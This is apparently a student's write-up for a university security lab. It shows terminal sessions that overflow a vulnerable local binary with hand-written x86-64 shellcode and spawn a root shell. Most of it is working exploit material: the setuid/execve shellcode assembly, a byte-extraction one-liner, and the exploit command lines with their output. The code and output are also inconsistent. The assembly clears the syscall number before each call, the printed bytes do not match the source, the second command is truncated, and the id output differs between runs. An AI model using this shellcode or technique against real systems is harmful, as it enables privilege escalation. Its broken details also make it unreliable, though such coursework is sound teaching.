chris@chris-XPS15:~/Purdue/cs426/lab3$ ./sci $(python -c 'print "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x48\x83\xc0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" + "A" * 71 + "\x7f\xff\xff\xff\xde\xd0"[::-1]')
buffer=[0x7fffffffde60]
$ id
uid=1000(chris) gid=1000(chris) groups=1000(chris),4(adm),24(cdrom),27(sudo),30(dip),44(video),46(plugdev),120(lpadmin),124(docker),131(1xd),132(sambashare),134(debian-tor)
$ date
Thu Apr  8 21:01:58 EDT 2021
$
```

2.4

Below is the payload that, when delivered to the vulnerable sci binary, gives us a root shell:

```
chris@chris-XPS15:~/Purdue/cs426/lab3$ cat shellcode.s
.text
.global _start
_start:

    xor %rax, %rax
    addq $0x69, %rax          # setuid (
    xor %rdi, %rdi            #           0
    xor %rsi, %rsi            #           )
    xor %rax, %rax
    syscall

    xor %rax, %rax
    addq $0x71, %rax          # setreuid (
    xor %rdi, %rdi            #           0,
    xor %rsi, %rsi            #           0
    xor %rax, %rax
    syscall

    xor %rax, %rax          # nullify %rax
    pushq %rax
    movq $0x68732f6e69622f2f, %rax # "hs/nib/" --> %rax
    pushq %rax                # push the sh command onto the stack

    xor %rax, %rax
    addq $0x3b, %rax          # execve (
    movq %rsp, %rdi            #           /bin/sh ,
    xor %rsi, %rsi            #           NULL ,
    xor %rdx, %rdx            #           NULL
    xor %rax, %rax
    syscall

chris@chris-XPS15:~/Purdue/cs426/lab3$ gcc shellcode.s -o shellcode -nostdlib
chris@chris-XPS15:~/Purdue/cs426/lab3$ for i in $(objdump -d shellcode | grep "^\t" | cut -f 2); do echo -n '\x'$i
;done; echo
\x48\x31\xc0\x48\x83\xc0\x69\x48\x31\xff\x0f\x05\x48\x31\xc0\x48\x83\xc0\x71\x48\x31\xff\x48\x31\xf6\x0f\x05\x48\x31\xc0\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x48\x83\xc0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05
chris@chris-XPS15:~/Purdue/cs426/lab3$ ./sci $(python -c 'print "\x48\x31\xc0\x48\x83\xc0\x69\x48\x31\xff\x0f\x05\x48\x31\xc0\x48\x83\xc0\x71\x48\x31\xff\x48\x31\xf6\x0f\x05\x48\x31\xc0\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x48\x83\xc0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
buffer=[0x7fffffffded0]
# id
uid=0(root) gid=1000(chris) groups=1000(chris),4(adm),24(cdrom),27(sudo),30(dip),44(video),46(plugdev),120(lpadm),124(docker),131(lxd),132(sambahashare),134(debian-tor)
# date
Thu Apr  8 20:57:21 EDT 2021
# exit
chris@chris-XPS15:~/Purdue/cs426/lab3$
```

NOTE:

In my submission, shellcode.s is used for 2.3, and root_shellcode.s is used for 2.4